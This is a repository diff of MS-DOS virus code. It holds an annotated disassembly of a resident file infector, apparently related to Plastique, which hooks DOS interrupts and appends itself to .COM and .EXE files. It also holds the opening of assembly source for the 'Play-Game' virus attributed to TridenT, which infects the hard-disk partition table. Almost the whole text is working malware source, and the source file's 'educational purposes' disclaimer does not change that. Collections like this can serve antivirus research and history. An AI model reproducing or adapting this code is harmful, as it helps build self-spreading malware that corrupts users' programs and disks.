BEBE11 MOV SI,11BE +0771 B304 MOV BL,04 +0773 803C80 CMP [SI],80 +0776 740E JZ 0786 +0778 803C00 CMP [SI],00 +077B 7507 JNZ 0784 +077D 83C610 ADD SI,0010 +0780 FECB DEC BL +0782 75EF JNZ 0773 +0784 F9 STC +0785 C3 RET +0786 8B04 MOV AX,[SI] +0788 A34405 MOV [0544],AX +078B 8B4402 MOV AX,[SI+02] +078E A34205 MOV [0542],AX +0791 8B14 MOV DX,[SI] +0793 8B4C02 MOV CX,[SI+02] +0796 B80102 MOV AX,0201 +0799 BB0010 MOV BX,1000 +079C E85BFE CALL 05FA +079F C3 RET +07A0 8B4740 MOV AX,[BX+40] +07A3 33D2 XOR DX,DX +07A5 F77718 DIV W/[BX+18] +07A8 FEC2 INC DL +07AA 8816E102 MOV [02E1],DL +07AE 33D2 XOR DX,DX +07B0 F7771A DIV W/[BX+1A] +07B3 8816E002 MOV [02E0],DL +07B7 A2E202 MOV [02E2],AL +07BA B80102 MOV AX,0201 +07BD BB0010 MOV BX,1000 +07C0 E80100 CALL 07C4 +07C3 C3 RET +07C4 8B0EE102 MOV CX,[02E1] +07C8 8B16DF02 MOV DX,[02DF] +07CC E82BFE CALL 05FA +07CF C3 RET +07D0 60 +07D1 1478 +07D3 02 + + +;--------------------------------------------------------------------------- +07D4 9C PUSHF ;(* INT 21 HANDLER - DOS FUNC *) +07D5 3D404B CMP AX,4B40 ;AL = 40 - Invalid call +07D8 7505 JNZ 07DF +07DA B87856 MOV AX,5678 ;Detect Plastiqe ? +07DD 9D POPF +07DE CF IRET + +07DF 3D414B CMP AX,4B41 ;AL = 41 - Invalid call +07E2 741E JZ 0802 + +07E4 3D004B CMP AX,4B00 ;AX = 4B00 - Load And Run Program +07E7 7503 JNZ 07EC +07E9 EB34 JMP 081F +07EB 90 NOP + +07EC 3D003D CMP AX,3D00 ;AX = 3D00 - Open File to Read +07EF 750B JNZ 07FC +07F1 2E803E4E0001 CMP CS:[004E],01 +07F7 7403 JZ 07FC +07F9 EB24 JMP 081F +07FB 90 NOP +07FC 9D POPF +07FD 2EFF2ED006 JMP Far CS:[06D0] ;Jump to orig Dos handler + +0802 58 POP AX +0803 58 POP AX +0804 B80001 MOV AX,0100 +0807 2EA31400 MOV CS:[0014],AX +080B 58 POP AX +080C 2EA31600 MOV CS:[0016],AX +0810 F3A4 REP MOVSB +0812 9D POPF +0813 E88003 CALL 0B96 ;Zero register +0816 8B0E2400 MOV CX,[0024] +081A 2EFF2E1400 JMP Far CS:[0014] + +081F 2EC7061C00FFFF MOV CS:[001C],FFFF ; +0826 2EC70648000000 MOV CS:[0048],0000 +082D 2E89161800 MOV CS:[0018],DX ;Name of file to execute +0832 2E8C1E1A00 MOV CS:[001A],DS +0837 50 PUSH AX +0838 53 PUSH BX +0839 51 PUSH CX +083A 52 PUSH DX +083B 56 PUSH SI +083C 57 PUSH DI +083D 1E PUSH DS +083E 06 PUSH ES +083F FC CLD +0840 8BF2 MOV SI,DX +0842 8A04 MOV AL,[SI] ;Convert file name to UpperCase +0844 0AC0 OR AL,AL +0846 740E JZ 0856 +0848 3C61 CMP AL,61 ;'a' +084A 7207 JC 0853 +084C 3C7A CMP AL,7A ;'z' +084E 7703 JA 0853 +0850 802C20 SUB [SI],20 +0853 46 INC SI +0854 EBEC JMP 0842 + +0856 2E89364C00 MOV CS:[004C],SI ;SI = ptr to End of ASCIIZ fname +085B 8BC6 MOV AX,SI +085D 0E PUSH CS +085E 07 POP ES +085F B90B00 MOV CX,000B ;Length of string +0862 2BF1 SUB SI,CX +0864 BF6600 MOV DI,0066 ;Ptr to 'COMMAND.COM' string +0867 F3A6 REP CMPSB ;File name = 'COMMAND.COM' ? +0869 7503 JNZ 086E ; No +086B E9F702 JMP 0B65 ; Yes - Exit from handler + +086E 8BF0 MOV SI,AX +0870 B90800 MOV CX,0008 ;Length of string +0873 2BF1 SUB SI,CX +0875 BF5E00 MOV DI,005E ;Ptr to 'ACAD.EXE' string +0878 F3A6 REP CMPSB ;File name = 'ACAD.EXE' ? +087A 751C JNZ 0898 ; No +087C 0E PUSH CS ; Yes +087D 1F POP DS +087E 0E PUSH CS +087F 07 POP ES +0880 B409 MOV AH,09 ;Print String +0882 BA8B00 MOV DX,008B ; Virus (c) & WARNING +0885 CD21 INT 21 +0887 C6064F0001 MOV [004F],01 +088C C70603000080 MOV [0003],8000 +0892 BEAE02 MOV SI,02AE +0895 E996FC JMP 052E ;jmp to music rutin (halt proc) + +0898 B80043 MOV AX,4300 ;Get file attribute +089B CD21 INT 21 +089D 7205 JC 08A4 +089F 2E890E1E00 MOV CS:[001E],CX ;Save it +08A4 7271 JC 0917 +08A6 32C0 XOR AL,AL +08A8 2EA22B00 MOV CS:[002B],AL +08AC 2E8B364C00 MOV SI,CS:[004C] +08B1 B90400 MOV CX,0004 ;Length of string +08B4 2BF1 SUB SI,CX +08B6 BF7100 MOV DI,0071 ;Ptr to '.COM' string +08B9 F3A6 REP CMPSB ;File extension = '.COM' ? +08BB 741C JZ 08D9 ; Yes +08BD 2EFE062B00 INC B/CS:[002B] +08C2 2E8B364C00 MOV SI,CS:[004C] +08C7 B90400 MOV CX,0004 ;Length of string +08CA 2BF1 SUB SI,CX +08CC BF7500 MOV DI,0075 ;Ptr to '.EXE' string +08CF F3A6 REP CMPSB ;File extension = '.EXE' ? +08D1 7406 JZ 08D9 ; Yes +08D3 83C1FF ADD CX,FFFF ; No +08D6 EB3F JMP 0917 +08D8 90 NOP +08D9 8BFA MOV DI,DX +08DB 32D2 XOR DL,DL +08DD 807D013A CMP [DI+01],3A +08E1 7505 JNZ 08E8 +08E3 8A15 MOV DL,[DI] +08E5 80E21F AND DL,1F +08E8 B436 MOV AH,36 ;Get disk free space +08EA CD21 INT 21 +08EC 3DFFFF CMP AX,FFFF ; = Set carry flag +08EF 7503 JNZ 08F4 +08F1 E97102 JMP 0B65 +08F4 F7E3 MUL BX +08F6 F7E1 MUL CX +08F8 0BD2 OR DX,DX +08FA 7505 JNZ 0901 +08FC 3D0010 CMP AX,1000 ;Available Space > 4096 ? +08FF 72F0 JC 08F1 +0901 2E8B161800 MOV DX,CS:[0018] +0906 B8003D MOV AX,3D00 ;Open file to read +0909 2EC6064E0001 MOV CS:[004E],01 +090F CD21 INT 21 +0911 2EC6064E0000 MOV CS:[004E],00 +0917 7267 JC 0980 +0919 2EA31C00 MOV CS:[001C],AX +091D 8BD8 MOV BX,AX ;BX = File handle +091F B80242 MOV AX,4202 ;Set file pos to EOF +0922 B9FFFF MOV CX,FFFF +0925 BAFBFF MOV DX,FFFB +0928 CD21 INT 21 +092A 7254 JC 0980 +092C 050500 ADD AX,0005 +092F 2EA32400 MOV CS:[0024],AX +0933 B80042 MOV AX,4200 ;Set file pos 0 +0936 B90000 MOV CX,0000 +0939 BA1200 MOV DX,0012 +093C CD21 INT 21 +093E 7240 JC 0980 +0940 B90200 MOV CX,0002 ;Read 2 byte +0943 BA4600 MOV DX,0046 +0946 8BFA MOV DI,DX +0948 8CC8 MOV AX,CS +094A 8ED8 MOV DS,AX +094C 8EC0 MOV ES,AX +094E B43F MOV AH,3F +0950 CD21 INT 21 +0952 8B05 MOV AX,[DI] +0954 3D8919 CMP AX,1989 +0957 7507 JNZ 0960 +0959 B43E MOV AH,3E ;Close file +095B CD21 INT 21 +095D E90502 JMP 0B65 +0960 B82435 MOV AX,3524 ;Get INT 24 vector +0963 CD21 INT 21 ; (Critical error handler) +0965 891EE502 MOV [02E5],BX ;Store it +0969 8C06E702 MOV [02E7],ES +096D BAE902 MOV DX,02E9 +0970 B82425 MOV AX,2524 +0973 CD21 INT 21 +0975 C5161800 LDS DX,[0018] +0979 33C9 XOR CX,CX +097B B80143 MOV AX,4301 ;Set file attribute +097E CD21 INT 21 +0980 723B JC 09BD +0982 2E8B1E1C00 MOV BX,CS:[001C] +0987 B43E MOV AH,3E ;Close file +0989 CD21 INT 21 +098B 2EC7061C00FFFF MOV CS:[001C],FFFF +0992 B8023D MOV AX,3D02 ;Open file to Write +0995 CD21 INT 21 +0997 7224 JC 09BD +0999 2EA31C00 MOV CS:[001C],AX ;Store handle +099D 8CC8 MOV AX,CS +099F 8ED8 MOV DS,AX +09A1 8EC0 MOV ES,AX +09A3 8B1E1C00 MOV BX,[001C] +09A7 B80057 MOV AX,5700 ;Get file date +09AA CD21 INT 21 +09AC 89162000 MOV [0020],DX ;Store it +09B0 890E2200 MOV [0022],CX +09B4 B80042 MOV AX,4200 ;Set file pos to 0 +09B7 33C9 XOR CX,CX +09B9 8BD1 MOV DX,CX +09BB CD21 INT 21 +09BD 725F JC 0A1E +09BF 803E2B0000 CMP [002B],00 ;File type ? 0 if .COM +09C4 7403 JZ 09C9 +09C6 EB72 JMP 0A3A +09C8 90 NOP + ;INFECT COM FILE --------------- +09C9 BB0010 MOV BX,1000 ;Allocate 1000h paragraphs +09CC B448 MOV AH,48 +09CE CD21 INT 21 +09D0 730B JNC 09DD ;Ok, mem allocated +09D2 B43E MOV AH,3E ;Error, Close file +09D4 8B1E1C00 MOV BX,[001C] +09D8 CD21 INT 21 +09DA E98801 JMP 0B65 ;Exit from handler +09DD FF064800 INC W/[0048] +09E1 8EC0 MOV ES,AX ;Segment of allocated memory +09E3 33F6 XOR SI,SI +09E5 8BFE MOV DI,SI +09E7 A10300 MOV AX,[0003] +09EA 0C01 OR AL,01 +09EC 813E03000080 CMP [0003],8000 +09F2 7202 JC 09F6 +09F4 B000 MOV AL,00 +09F6 A20500 MOV [0005],AL +09F9 C6065C0001 MOV [005C],01 +09FE E87201 CALL 0B73 ;DeCode text +0A01 B90010 MOV CX,1000 +0A04 F3A4 REP MOVSB ;Move virus to begin of block +0A06 E86A01 CALL 0B73 ;Code text +0A09 C6065C0000 MOV [005C],00 +0A0E 8BD7 MOV DX,DI ;Addr of buffer +0A10 8B0E2400 MOV CX,[0024] ;Nr Of Bytes to read +0A14 8B1E1C00 MOV BX,[001C] ;Handle +0A18 06 PUSH ES +0A19 1F POP DS +0A1A B43F MOV AH,3F ;Read from file +0A1C CD21 INT 21 +0A1E 7215 JC 0A35 +0A20 03F9 ADD DI,CX ;DI = New file size +0A22 7211 JC 0A35 +0A24 33C9 XOR CX,CX +0A26 8BD1 MOV DX,CX +0A28 B80042 MOV AX,4200 ;Set file pos to 0 +0A2B CD21 INT 21 +0A2D 8BCF MOV CX,DI ;Write To File Virus + Orig code +0A2F 33D2 XOR DX,DX +0A31 B440 MOV AH,40 +0A33 CD21 INT 21 +0A35 720D JC 0A44 +0A37 E9E600 JMP 0B20 + + ;INFECT EXE FILES +0A3A B91C00 MOV CX,001C ;Read 1C byte from begin of file +0A3D BA2C00 MOV DX,002C +0A40 B43F MOV AH,3F +0A42 CD21 INT 21 +0A44 7252 JC 0A98 +0A46 813E3E008919 CMP [003E],1989 ;If INFECTED +0A4C 744A JZ 0A98 ;>> Here equal - Exit handler +0A4E C7063E008919 MOV [003E],1989 +0A54 A13A00 MOV AX,[003A] ;SS +0A57 A35600 MOV [0056],AX +0A5A A13C00 MOV AX,[003C] ;SP +0A5D A35000 MOV [0050],AX +0A60 A14000 MOV AX,[0040] ;IP +0A63 A35200 MOV [0052],AX +0A66 A14200 MOV AX,[0042] ;CS +0A69 A35400 MOV [0054],AX +0A6C A13000 MOV AX,[0030] +0A6F 833E2E0000 CMP [002E],0000 +0A74 7401 JZ 0A77 +0A76 48 DEC AX +0A77 F7267B00 MUL W/[007B] +0A7B 03062E00 ADD AX,[002E] +0A7F 83D200 ADC DX,0000 +0A82 050F00 ADD AX,000F +0A85 83D200 ADC DX,0000 +0A88 25F0FF AND AX,FFF0 +0A8B A35800 MOV [0058],AX +0A8E 89165A00 MOV [005A],DX +0A92 050010 ADD AX,1000 +0A95 83D200 ADC DX,0000 +0A98 723A JC 0AD4 +0A9A F7367B00 DIV W/[007B] +0A9E 0BD2 OR DX,DX +0AA0 7401 JZ 0AA3 +0AA2 40 INC AX +0AA3 A33000 MOV [0030],AX +0AA6 89162E00 MOV [002E],DX +0AAA A15800 MOV AX,[0058] +0AAD 8B165A00 MOV DX,[005A] +0AB1 F7367900 DIV W/[0079] +0AB5 2B063400 SUB AX,[0034] +0AB9 A34200 MOV [0042],AX ;NEW CS +0ABC C7064000B80B MOV [0040],0BB8 ;NEW IP +0AC2 A33A00 MOV [003A],AX ;NEW SS +0AC5 C7063C00FE0D MOV [003C],0DFE ;NEW SP +0ACB 33C9 XOR CX,CX +0ACD 8BD1 MOV DX,CX +0ACF B80042 MOV AX,4200 ;Set file pos to 0 +0AD2 CD21 INT 21 +0AD4 720A JC 0AE0 +0AD6 B91C00 MOV CX,001C ;Write NEW Exe header +0AD9 BA2C00 MOV DX,002C +0ADC B440 MOV AH,40 +0ADE CD21 INT 21 +0AE0 7211 JC 0AF3 +0AE2 3BC1 CMP AX,CX ;Write succesfull ? +0AE4 753A JNZ 0B20 +0AE6 8B165800 MOV DX,[0058] ;Set file pos to End of Orig file +0AEA 8B0E5A00 MOV CX,[005A] ; + 0..15 (paragraph alignment) +0AEE B80042 MOV AX,4200 +0AF1 CD21 INT 21 +0AF3 722B JC 0B20 +0AF5 A10300 MOV AX,[0003] +0AF8 0C01 OR AL,01 +0AFA 813E03000080 CMP [0003],8000 +0B00 7202 JC 0B04 +0B02 B000 MOV AL,00 +0B04 A20500 MOV [0005],AL +0B07 C6065C0001 MOV [005C],01 +0B0C E86400 CALL 0B73 +0B0F 33D2 XOR DX,DX +0B11 B90010 MOV CX,1000 ;Write virus to file +0B14 B440 MOV AH,40 +0B16 CD21 INT 21 +0B18 E85800 CALL 0B73 +0B1B C6065C0000 MOV [005C],00 +0B20 2E833E480000 CMP CS:[0048],0000 +0B26 7404 JZ 0B2C +0B28 B449 MOV AH,49 ;Free allocated memory block +0B2A CD21 INT 21 +0B2C 2E833E1C00FF CMP CS:[001C],FFFF +0B32 7431 JZ 0B65 +0B34 2E8B1E1C00 MOV BX,CS:[001C] +0B39 2E8B162000 MOV DX,CS:[0020] +0B3E 2E8B0E2200 MOV CX,CS:[0022] +0B43 B80157 MOV AX,5701 ;Set file time +0B46 CD21 INT 21 +0B48 B43E MOV AH,3E ;Close file +0B4A CD21 INT 21 +0B4C 2EC5161800 LDS DX,CS:[0018] +0B51 2E8B0E1E00 MOV CX,CS:[001E] +0B56 B80143 MOV AX,4301 ;Set file attribute +0B59 CD21 INT 21 +0B5B 2EC516E502 LDS DX,CS:[02E5] +0B60 B82425 MOV AX,2524 ;Set INT 24 to orig (Crit Err) +0B63 CD21 INT 21 +0B65 07 POP ES +0B66 1F POP DS +0B67 5F POP DI +0B68 5E POP SI +0B69 5A POP DX +0B6A 59 POP CX +0B6B 5B POP BX +0B6C 58 POP AX +0B6D 9D POPF +0B6E 2EFF2ED006 JMP Far CS:[06D0] + +;--------------------------------------------------------------------------- +0B73 1E PUSH DS ;Decode Text +0B74 06 PUSH ES +0B75 57 PUSH DI +0B76 56 PUSH SI +0B77 51 PUSH CX +0B78 50 PUSH AX +0B79 0E PUSH CS +0B7A 07 POP ES +0B7B 0E PUSH CS +0B7C 1F POP DS +0B7D BE5E00 MOV SI,005E +0B80 8BFE MOV DI,SI +0B82 B9B100 MOV CX,00B1 +0B85 8A260500 MOV AH,[0005] +0B89 AC LODSB +0B8A 32C4 XOR AL,AH +0B8C AA STOSB +0B8D E2FA LOOP 0B89 +0B8F 58 POP AX +0B90 59 POP CX +0B91 5E POP SI +0B92 5F POP DI +0B93 07 POP ES +0B94 1F POP DS +0B95 C3 RET +;--------------------------------------------------------------------------- +0B96 33C0 XOR AX,AX ;Zero Registers +0B98 8BD8 MOV BX,AX +0B9A 8BD0 MOV DX,AX +0B9C 8BF0 MOV SI,AX +0B9E 8BF8 MOV DI,AX +0BA0 C3 RET +;--------------------------------------------------------------------------- + ;Detect Speed of machine +0BA1 B400 MOV AH,00 ;Read system timer counter +0BA3 CD1A INT 1A +0BA5 8BDA MOV BX,DX ;BX=DX - Low order part of clock +0BA7 CD1A INT 1A ;Read system timer counter +0BA9 3BDA CMP BX,DX +0BAB 74FA JZ 0BA7 +0BAD 33F6 XOR SI,SI +0BAF 8BDA MOV BX,DX +0BB1 CD1A INT 1A +0BB3 46 INC SI +0BB4 3BDA CMP BX,DX +0BB6 74F9 JZ 0BB1 +0BB8 2EC7064A0000A0 MOV CS:[004A],A000 +0BBF 8BDE MOV BX,SI +0BC1 83EB50 SUB BX,0050 +0BC4 81FB000A CMP BX,0A00 +0BC8 7309 JNC 0BD3 +0BCA B104 MOV CL,04 +0BCC D3E3 SHL BX,CL +0BCE 2E891E4A00 MOV CS:[004A],BX +0BD3 C3 RET +;--------------------------------------------------------------------------- +0BD4 1E PUSH DS ;Init timer variables +0BD5 0E PUSH CS +0BD6 1F POP DS +0BD7 C6064F0000 MOV [004F],00 +0BDC C6065C0000 MOV [005C],00 +0BE1 E440 IN AL,[40] +0BE3 8AE0 MOV AH,AL +0BE5 E440 IN AL,[40] +0BE7 8AC4 MOV AL,AH +0BE9 2E32060500 XOR AL,CS:[0005] +0BEE 3C1F CMP AL,1F +0BF0 7205 JC 0BF7 +0BF2 C6064F0001 MOV [004F],01 +0BF7 C70603000100 MOV [0003],0001 +0BFD C70610010000 MOV [0110],0000 +0C03 C6060F0101 MOV [010F],01 +0C08 C6064E0000 MOV [004E],00 +0C0D 1F POP DS +0C0E C3 RET +;--------------------------------------------------------------------------- +0C0F 1E PUSH DS +0C10 06 PUSH ES +0C11 33C0 XOR AX,AX +0C13 8ED8 MOV DS,AX +0C15 A11304 MOV AX,[0413] ;Memory size in KByte +0C18 B106 MOV CL,06 +0C1A D3E0 SHL AX,CL +0C1C 8ED8 MOV DS,AX ;DS = A000 or 9E00 +0C1E 33F6 XOR SI,SI +0C20 8B443E MOV AX,[SI+3E] +0C23 3DCB3C CMP AX,3CCB +0C26 7434 JZ 0C5C +0C28 833E400EFE CMP [0E40],FFFE ;(data in Boot Sector) +0C2D 7404 JZ 0C33 +0C2F F9 STC +0C30 EB4E JMP 0C80 +0C32 90 NOP +0C33 FA CLI +0C34 B8404B MOV AX,4B40 ;Load Or Exec Program +0C37 CD21 INT 21 ; !!! AL = 40 ist false call +0C39 3D7856 CMP AX,5678 ;Error code = 5678 ? +0C3C 741A JZ 0C58 ; Yes - allready loaded +0C3E C6067B0F01 MOV [0F7B],01 ; No - Set "Dos complet" flag +0C43 90 NOP +0C44 FB STI +0C45 B82135 MOV AX,3521 ;Get INT 21 addres +0C48 CD21 INT 21 +0C4A 891ED006 MOV [06D0],BX ;Store INT 21 Orig addres +0C4E 8C06D206 MOV [06D2],ES +0C52 BAD406 MOV DX,06D4 ;(? New Offset of INT 21 ?) +0C55 B82125 MOV AX,2521 +0C58 F8 CLC +0C59 EB25 JMP 0C80 +0C5B 90 NOP +0C5C C7443EFEFF MOV [SI+3E],FFFE +0C61 33C0 XOR AX,AX +0C63 8ED8 MOV DS,AX +0C65 8EC0 MOV ES,AX +0C67 BE0402 MOV SI,0204 ;Set int vector 08 from 81 +0C6A BF2000 MOV DI,0020 +0C6D B90200 MOV CX,0002 +0C70 FA CLI +0C71 F3A5 REP MOVSW +0C73 FB STI +0C74 BE0C02 MOV SI,020C ;Set int vector 13 from 83 +0C77 BF4C00 MOV DI,004C +0C7A B90200 MOV CX,0002 +0C7D F3A5 REP MOVSW +0C7F F9 STC +0C80 07 POP ES +0C81 1F POP DS +0C82 C3 RET +;--------------------------------------------------------------------------- +0C83 E889FF CALL 0C0F +0C86 7203 JC 0C8B +0C88 EB0B JMP 0C95 +0C8A 90 NOP +0C8B B8404B MOV AX,4B40 ;Load or Execute Program +0C8E CD21 INT 21 ; !!! AL = 40 ist false call +0C90 3D7856 CMP AX,5678 ;Error code = 5678 ? +0C93 7513 JNZ 0CA8 ; No - +0C95 B8414B MOV AX,4B41 ; Yes - +0C98 BF0001 MOV DI,0100 +0C9B 2E8B8D2400 MOV CX,CS:[DI+0024] ; +0CA0 BE0010 MOV SI,1000 +0CA3 03F7 ADD SI,DI +0CA5 FC CLD +0CA6 CD21 INT 21 ; +0CA8 8CC8 MOV AX,CS +0CAA 051000 ADD AX,0010 +0CAD 8ED0 MOV SS,AX +0CAF BCEE0D MOV SP,0DEE +0CB2 50 PUSH AX +0CB3 B8B80B MOV AX,0BB8 +0CB6 50 PUSH AX +0CB7 CB RET Far ;>> Goto 0CB8 + +;--------------------------------------------------------------------------- +0CB8 FC CLD +0CB9 06 PUSH ES +0CBA E852FF CALL 0C0F +0CBD 2E8C062600 MOV CS:[0026],ES +0CC2 2E8C068100 MOV CS:[0081],ES +0CC7 2E8C068500 MOV CS:[0085],ES +0CCC 2E8C068900 MOV CS:[0089],ES +0CD1 8CC0 MOV AX,ES +0CD3 051000 ADD AX,0010 +0CD6 2E01065400 ADD CS:[0054],AX +0CDB 2E01065600 ADD CS:[0056],AX +0CE0 B8404B MOV AX,4B40 ; +0CE3 CD21 INT 21 ; +0CE5 3D7856 CMP AX,5678 ; +0CE8 7513 JNZ 0CFD +0CEA 07 POP ES +0CEB 2E8E165600 MOV SS,CS:[0056] +0CF0 2E8B265000 MOV SP,CS:[0050] +0CF5 E89EFE CALL 0B96 ;Zero registers +0CF8 2EFF2E5200 JMP Far CS:[0052] + +0CFD E873FE CALL 0B73 ;Decode Text +0D00 E89EFE CALL 0BA1 ;Detect speed of machine +0D03 33C0 XOR AX,AX +0D05 8EC0 MOV ES,AX +0D07 26A1FC03 MOV AX,ES:[03FC] ;Save INT FF Ofs into 0028 +0D0B 2EA32800 MOV CS:[0028],AX +0D0F 26A0FE03 MOV AL,ES:[03FE] ;Save INT FF Seg (Lo) into 002A +0D13 2EA22A00 MOV CS:[002A],AL +0D17 26C706FC03F3A5 MOV ES:[03FC],A5F3 ;0000:03FC = F3 A5 -> REP MOVSW +0D1E 26C606FE03CB MOV ES:[03FE],CB ; 03FE = CB -> RET Far +0D24 58 POP AX ; +---+---+ +0D25 051000 ADD AX,0010 ; +0D28 8EC0 MOV ES,AX ; +0D2A 0E PUSH CS ; Move from DS:0 to ES:0 +0D2B 1F POP DS ; 800 word +0D2C B90010 MOV CX,1000 ; +0D2F D1E9 SHR CX,1 ; +0D31 33F6 XOR SI,SI ; +0D33 8BFE MOV DI,SI ; +0D35 06 PUSH ES ; +0D36 B83F0C MOV AX,0C3F ; +0D39 50 PUSH AX ; +0D3A EAFC030000 JMP 0000:03FC ; + + ; | +0D3F 8CC8 MOV AX,CS ; <--+ +0D41 8ED0 MOV SS,AX +0D43 BCEE0D MOV SP,0DEE +0D46 33C0 XOR AX,AX +0D48 8ED8 MOV DS,AX +0D4A 2EA12800 MOV AX,CS:[0028] ;Restore INT FF Ofs +0D4E A3FC03 MOV [03FC],AX +0D51 2EA02A00 MOV AL,CS:[002A] ;Restore INT FF Seg (Lo) +0D55 A2FE03 MOV [03FE],AL +0D58 BB0010 MOV BX,1000 +0D5B B104 MOV CL,04 +0D5D D3EB SHR BX,CL +0D5F 83C340 ADD BX,0040 +0D62 B44A MOV AH,4A ;Modify memory allocation +0D64 2E8E062600 MOV ES,CS:[0026] +0D69 CD21 INT 21 +0D6B B82135 MOV AX,3521 ;Get INT 21 vector +0D6E CD21 INT 21 +0D70 2E891ED006 MOV CS:[06D0],BX ;Store it +0D75 2E8C06D206 MOV CS:[06D2],ES +0D7A 0E PUSH CS +0D7B 1F POP DS +0D7C BAD406 MOV DX,06D4 ;Set INT 21 vector +0D7F B82125 MOV AX,2521 +0D82 CD21 INT 21 +0D84 8E062600 MOV ES,[0026] +0D88 268E062C00 MOV ES,ES:[002C] ;Segment of DOS ENVRONMENT string +0D8D 33FF XOR DI,DI +0D8F B9FF7F MOV CX,7FFF +0D92 32C0 XOR AL,AL +0D94 F2AE REPNZ SCASB +0D96 263805 CMP ES:[DI],AL +0D99 E0F9 LOOPNZ 0D94 +0D9B 8BD7 MOV DX,DI +0D9D 83C203 ADD DX,0003 +0DA0 B8004B MOV AX,4B00 +0DA3 06 PUSH ES +0DA4 1F POP DS +0DA5 0E PUSH CS +0DA6 07 POP ES +0DA7 BB7D00 MOV BX,007D +0DAA 1E PUSH DS +0DAB 06 PUSH ES +0DAC 50 PUSH AX +0DAD 53 PUSH BX +0DAE 51 PUSH CX +0DAF 52 PUSH DX +0DB0 0E PUSH CS +0DB1 1F POP DS +0DB2 B80835 MOV AX,3508 ;Get INT 08 vector +0DB5 CD21 INT 21 +0DB7 891E2103 MOV [0321],BX ;Stor it +0DBB 8C062303 MOV [0323],ES +0DBF BAEC02 MOV DX,02EC ; +0DC2 E80FFE CALL 0BD4 +0DC5 B80825 MOV AX,2508 ;Set INT 08 +0DC8 CD21 INT 21 + +0DCA B80935 MOV AX,3509 ;Get INT 09 vector +0DCD CD21 INT 21 +0DCF 891E0600 MOV [0006],BX ;Store it +0DD3 8C060800 MOV [0008],ES +0DD7 BAB103 MOV DX,03B1 ;Set INT 09 vector +0DDA B80925 MOV AX,2509 +0DDD CD21 INT 21 + +0DDF B81335 MOV AX,3513 ;Get INT 13 vector +0DE2 CD21 INT 21 +0DE4 891E0A00 MOV [000A],BX ;Store it +0DE8 8C060C00 MOV [000C],ES +0DEC BA2605 MOV DX,0526 ;Set INT 13 vector +0DEF B81325 MOV AX,2513 +0DF2 CD21 INT 21 +0DF4 5A POP DX +0DF5 59 POP CX +0DF6 5B POP BX +0DF7 58 POP AX +0DF8 07 POP ES +0DF9 1F POP DS +0DFA 9C PUSHF +0DFB 2EFF1ED006 CALL Far CS:[06D0] +0E00 1E PUSH DS +0E01 07 POP ES +0E02 B449 MOV AH,49 ;Free allocated memory +0E04 CD21 INT 21 +0E06 B44D MOV AH,4D ;Get return code of subprocess +0E08 CD21 INT 21 +0E0A B431 MOV AH,31 ;Terminate And Stay Resident +0E0C BA0010 MOV DX,1000 +0E0F B104 MOV CL,04 +0E11 D3EA SHR DX,CL +0E13 83C240 ADD DX,0040 +0E16 CD21 INT 21 +;--------------------------------------------------------------------------- + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.playgam.asm b/MSDOS/Virus.MSDOS.Unknown.playgam.asm new file mode 100644 index 00000000..dc52f1a8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.playgam.asm @@ -0,0 +1,1266 @@ +;------------------------------------------------------------------------------ +; Play-Game VIRUS version 1 +; +; Use TASM 2.01 to compile this source +; (other assemblers will probably not produce the same result) +; +; Disclaimer: +; This file is only for educational purposes. The author takes no +; responsibility for anything anyone does with this file. Do not +; modify this file! +;------------------------------------------------------------------------------ + + + .model tiny + .RADIX 16 + .code + + +VERSION equ 1 +FILELEN equ offset last - first ;Length of virus. +VIRSEC equ (FILELEN+1FF)/200 ;Number of sectors for virus +VIRKB equ (FILELEN+3FF+100)/400 ;Length in kB. +SECLEN equ 200 ;length of a sector. +STACKLEN equ 200 ;Wanted length of stack in + ;infected file. +STACKOFF equ ((FILELEN+SECLEN+STACKLEN+11)/2)*2 ;Stack offset in + ;infected file. +DATAPAR equ (SECLEN+STACKLEN+20)/10 ;Minimal extra memory to + ;allocate for infected file + ;(area to load part. table + ;and room for stack). +BUFLEN equ 1C ;Length of buffer. +BOOTLEN equ boot_end - boot_begin ;Length of boot-routine. + + +;------------------------------------------------------------------------------ +; Data area for virus. +;------------------------------------------------------------------------------ + + org 00F0 + +hook db ? ;Flag for hooking int21 +minibuf db (4) dup (?) ;Mini buffer for internal use. + + +;------------------------------------------------------------------------------ +; Data area for game. +;------------------------------------------------------------------------------ + +bombs db ? ;Number of bombs. +pos db ? ;Position. +oldpos db ? ;Previous position. +level db ? +kleur db ? +timer db ? +tijd dw ? + + +;------------------------------------------------------------------------------ +; Begin of virus, installation in partition table of harddisk +;------------------------------------------------------------------------------ + + org 0100 + +first: db '[ MK / TridenT ]' ;Author + Group. + + call next +next: pop si ;Get IP. + sub si,13 ;Calculate relative offset. + mov di,0100 + cld + + call push_all ;Save some registers. + + push cs ;Make DS and ES equal to CS. + push cs + pop ds + pop es + + mov ah,30 ;Check if DOS version >= 4.0 + int 21 + cmp al,4 + jb not_install + + cmp ax,0DEADh ;Check if another TridenT + je not_install ;(multi-partite) virus is + ;resident. + + mov ax,0FE02 ;Check if Tequila virus + int 21 ;is resident. + cmp ax,01FDh + je not_install + + mov ax,33E4 ;Check if virus is already + int 21 ;resident. + cmp ah,0A5 + je not_install + + call infect_part + +not_install: mov ah,2A ;Ask date. + int 21 + cmp dh,12d ;december? + jb dont_play + mov ah,2C ;Ask time. + int 21 + cmp ch,21d ;time > 21:00 ? + jb dont_play + + mov ax,33E5 ;Play the game! + int 21 + +dont_play: call pop_all ;Restore registers. + + add si,offset buffer-100 + cmp byte ptr cs:[si],'M' ;Check if generation 0. + je entryE + + int 20 ;It was a COM file (gen. 0). + +entryE: mov bx,ds ;Calculate CS. + add bx,low 10 + mov cx,bx + add bx,cs:[si+0E] + cli ;Restore SS and SP. + mov ss,bx + mov sp,cs:[si+10] + sti + add cx,cs:[si+16] + push cx ;Push new CS on stack. + push cs:[si+14] ;Push new IP on stack. + retf + + +;------------------------------------------------------------------------------ +; Infect partition table sector +;------------------------------------------------------------------------------ + +infect_part: lea bx,[si+last-100] ;Read partition table + mov ax,0201 ;at end of virus. + mov cx,1 + mov dx,80 + int 13 + jc not_infect_par + + cmp word ptr [bx],'KM' ;Check if already infected. + je not_infect_par + + cmp word ptr [bx],05EA ;Check if infected with + je not_infect_par ;Stoned or Michelangelo. + + lea di,[bx+01BE] ;Check partition info. + mov bl,4 +check_part: cmp byte ptr [di+4],0 ;Skip if not a valid partition. + je next_part + cmp word ptr [di+0A],0 ;Enough room for virus? + jne next_part + 